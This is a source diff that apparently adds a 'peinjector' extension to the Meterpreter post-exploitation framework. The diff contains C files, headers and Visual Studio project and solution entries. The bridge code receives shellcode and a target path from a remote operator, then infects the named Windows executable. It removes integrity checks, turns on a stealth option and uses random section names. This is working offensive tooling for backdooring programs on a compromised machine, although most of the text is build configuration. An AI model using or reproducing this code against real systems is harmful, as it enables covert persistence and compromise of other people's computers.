COMMAND_REQ("peinjector_inject_shellcode", request_peinjector_inject_shellcode),
COMMAND_TERMINATOR
};
/*!
* @brief Initialize the server extension
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
hMetSrv = remote->met_srv;
dprintf("[PEINJECTOR] Initializing peinjector...");
command_register_all(customCommands);
return ERROR_SUCCESS;
}
/*!
* @brief Deinitialize the server extension
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all(customCommands);
return ERROR_SUCCESS;
}

View File

@ -0,0 +1,20 @@
/*!
* @file peinjector.h
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_H
#define _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_H
#include "../../common/common.h"
#define TLV_TYPE_EXTENSION_PEINJECTOR 0
#define TLV_TYPE_PEINJECTOR_SHELLCODE MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 1)
#define TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 2)
#define TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64 MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 3)
#define TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 4)
#define TLV_TYPE_PEINJECTOR_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 5)
#endif

View File

@ -0,0 +1,98 @@
/*!
* @file peinjector_bridge.cpp
* @brief Wrapper functions for bridging native meterp calls to peinjector
*/
#include "../../common/common.h"
#include "peinjector.h"
#include "peinjector_bridge.h"
#include "libpeinfect.h"
void __load_config(PEINFECT *infect, BYTE* shellcode, UINT shellcode_size, bool is_x64) {
unsigned char *test_code_x86;
size_t test_codesize_x86 = 0;
unsigned char *test_code_x64;
size_t test_codesize_x64 = 0;
PEINFECT_METHOD methods;
bool random_section_name = true;
size_t section_namesize = 0;
char section_name[NT_SHORT_NAME_LEN] = { 0 };
/* Load integrity options */
peinfect_set_removeintegrity(true, infect);
peinfect_set_trystaystealth(true, infect);
methods = METHOD_ALL;
peinfect_set_methods(methods, infect);
/* Cross section jump iterations */
peinfect_set_jumpiterations(1, infect);
/* Encryption */
peinfect_set_encrypt(false, infect);
peinfect_set_encryptiterations(1, infect);
/* New Section Name */
peinfect_set_sectionname(NULL, 0, random_section_name, infect);
if (!random_section_name) {
section_namesize = NT_SHORT_NAME_LEN;
peinfect_set_sectionname(section_name, section_namesize, false, infect);
}
/* Set shellcode */
peinfect_set_shellcode(shellcode, shellcode_size, is_x64, infect);
}
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet* response = packet_create_response(packet);
if (response)
{
BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE);
UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE);
BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64);
char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE);
if (shellcode != NULL)
{
dprintf("[PEINJECTOR] recived path: %s", target_executable_path);
dprintf("[PEINJECTOR] recived shellcode: %s", shellcode);
dprintf("[PEINJECTOR] recived size: %d", size);
dprintf("[PEINJECTOR] is x64: %d", is_x64);
PEINFECT infect;
peinfect_init(&infect);
__load_config(&infect, shellcode, size, is_x64);
uint16_t arch = get_file_architecture(target_executable_path);
dprintf("[PEINJECTOR] arch: %d", arch);
if (!(arch == 0x014c && is_x64 == true || arch == 0x8664 && is_x64 == false)) {
if (peinfect_infect_full_file(target_executable_path, &infect, target_executable_path))
dprintf("Shellcode injected successfully\n");
else {
dprintf("There was an error, shellcode not injected\n");
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected");
}
}
else {
dprintf("The architecture of the file is incompatible with the selected payload\n");
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload");
}
packet_transmit_response(dwResult, remote, response);
}
else
{
dprintf("[PEINJECTOR] Shellcode parameter missing from call");
dwResult = ERROR_INVALID_PARAMETER;
}
}
return dwResult;
}

View File

@ -0,0 +1,10 @@
/*!
* @file peinjector_bridge.h
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_BRIDGE_H
#define _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_BRIDGE_H
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet);
#endif
#pragma once

View File

@ -0,0 +1,309 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="r7_release|Win32">
<Configuration>r7_release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="r7_release|x64">
<Configuration>r7_release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}</ProjectGuid>
<RootNamespace>ext_server_peinjector</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup>
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules />
<CodeAnalysisRuleAssemblies />
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_peinjector.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_peinjector.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_peinjector.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_peinjector.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_peinjector.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_peinjector.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine>
<Profile>false</Profile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_peinjector.map</MapFileName>
<SubSystem>NotSet</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_peinjector.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine>
<Profile>false</Profile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\..\source\extensions\peinjector\libpefile.c" />
<ClCompile Include="..\..\source\extensions\peinjector\libpeinfect.c" />
<ClCompile Include="..\..\source\extensions\peinjector\libpeinfect_obfuscator.c" />
<ClCompile Include="..\..\source\extensions\peinjector\libpetool.c" />
<ClCompile Include="..\..\source\extensions\peinjector\peinjector.c" />
<ClCompile Include="..\..\source\extensions\peinjector\peinjector_bridge.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\source\extensions\peinjector\headers.h" />
<ClInclude Include="..\..\source\extensions\peinjector\libpefile.h" />
<ClInclude Include="..\..\source\extensions\peinjector\libpeinfect.h" />
<ClInclude Include="..\..\source\extensions\peinjector\libpeinfect_obfuscator.h" />
<ClInclude Include="..\..\source\extensions\peinjector\libpetool.h" />
<ClInclude Include="..\..\source\extensions\peinjector\peinjector.h" />
<ClInclude Include="..\..\source\extensions\peinjector\peinjector_bridge.h" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\backcompat\backcompat.vcxproj">
<Project>{c6fb3275-9067-4bba-9206-0a720d2bc64f}</Project>
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
</ProjectReference>
<ProjectReference Include="..\common\common.vcxproj">
<Project>{9e4de963-873f-4525-a7d0-ce34edbbdcca}</Project>
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
</ProjectReference>
<ProjectReference Include="..\metsrv\metsrv.vcxproj">
<Project>{37e24f8f-1bd9-490b-8cd2-4768b89e5eab}</Project>
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
</ProjectReference>
<ProjectReference Include="..\ReflectiveDLLInjection\ReflectiveDLLInjection.vcxproj">
<Project>{72f0246a-a38d-4547-9057-46020e8e503d}</Project>
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
</ProjectReference>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -1,7 +1,7 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.40629.0
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "common", "common\common.vcxproj", "{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}"
EndProject
@ -39,6 +39,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_powershell", "ex
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_winpmem", "ext_server_winpmem\ext_server_winpmem.vcxproj", "{A29BE1E5-5122-4BD4-82CE-25418D29648E}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_peinjector", "ext_server_peinjector\ext_server_peinjector.vcxproj", "{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
r7_release|Win32 = r7_release|Win32
@ -189,6 +191,14 @@ Global
{A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|Win32.Build.0 = Release|Win32
{A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|x64.ActiveCfg = Release|x64
{A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|x64.Build.0 = Release|x64
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|Win32.ActiveCfg = r7_release|Win32
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|Win32.Build.0 = r7_release|Win32
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|x64.ActiveCfg = r7_release|x64
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|x64.Build.0 = r7_release|x64
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|Win32.ActiveCfg = Release|Win32
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|Win32.Build.0 = Release|Win32
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|x64.ActiveCfg = Release|x64
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE